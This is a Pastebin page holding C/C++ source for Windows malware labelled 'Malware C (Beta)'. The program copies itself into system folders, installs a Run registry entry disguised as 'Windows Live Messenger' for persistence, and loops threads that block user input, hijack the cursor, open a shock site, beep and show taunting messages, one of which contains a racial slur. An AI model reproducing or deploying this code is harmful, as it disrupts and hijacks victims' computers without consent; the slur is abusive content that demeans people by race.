Advertisement
xHawk

Malware C (Beta)

Aug 1st, 2015
258
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.27 KB | None | 0 0
  1. #include <windows.h>
  2. #include <fstream.h>
  3. #include <winable.h>
  4.  
  5. using namespace std;
  6.  
  7. int main()
  8. {
  9.     char system[MAX_PATH];
  10.     char windows[MAX_PATH];
  11.     char pathtofile[MAX_PATH];
  12.     HMODULE GetModH = GetModuleHandle(NULL);
  13.     GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
  14.     GetSystemDirectory(system,sizeof(system));
  15.     GetWindowsDirectory(windows,sizeof(windows));
  16.     strcat(system,"\\najort5g.exe");
  17.     strcat(windows,"\\najort5g.exe");
  18.     CopyFile(pathtofile,system,false);
  19.     CopyFile(pathtofile,windows,false);
  20.     HKEY hKey;
  21.     RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
  22.     RegSetValueEx(hKey, "Windows Live Messenger",0,REG_SZ,(const unsigned char*)system,sizeof(system));
  23.     RegCloseKey(hKey);
  24.  
  25.     void messageset();
  26.     void pornpopup();
  27.     void payload();
  28.  
  29.     int y = 1;
  30.     while(y<10)
  31.     {
  32.       CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)messageset, NULL, 0, NULL);
  33.       Sleep(60000);
  34.       CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pornpopup, NULL, 0, NULL);
  35.       Sleep(60000);
  36.       CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, NULL, 0, NULL);
  37.       Sleep(60000);
  38.     }
  39. }
  40.  
  41.     void messageset()
  42.     {
  43.        if(MessageBox(
  44.        NULL,
  45.        "TeamCyberWar is watching you",
  46.        "Welcome to Hell.",
  47.        MB_OKCANCEL)==IDCANCEL)
  48.        {
  49.        MessageBox(
  50.        NULL,
  51.        "You can't cancel me mother fucker!",
  52.        "TCW = Hawk + Limitless + ProxyNazi + ZeroSum + Gnome",
  53.        MB_OK);
  54.        }
  55.     }
  56.  
  57.      void pornpopup()
  58.     {
  59.        char Website[MAX_PATH] = "1man1jar.org";
  60.        ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
  61.  
  62.        MessageBox(
  63.        NULL,
  64.        "Naughty, Naughty, looking at porn are we now?... Dispicable",
  65.        "You filthy nigger, you.",
  66.        MB_OK);
  67.     }
  68.  
  69.  
  70.  
  71.      void payload()
  72.      {
  73.        int a = 1;
  74.  
  75.        while(a<100)
  76.        {
  77.           BlockInput(TRUE);
  78.           SetCursorPos(500,500);
  79.           Sleep(3000);
  80.           a++;
  81.        }
  82.  
  83.        Sleep(10000);
  84.        int freq = 100;
  85.        int loop = 1;
  86.        while(loop<200)
  87.        {
  88.            Beep(freq,100);
  89.            Sleep(50);
  90.            freq++;
  91.            loop++;
  92.        }
  93.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement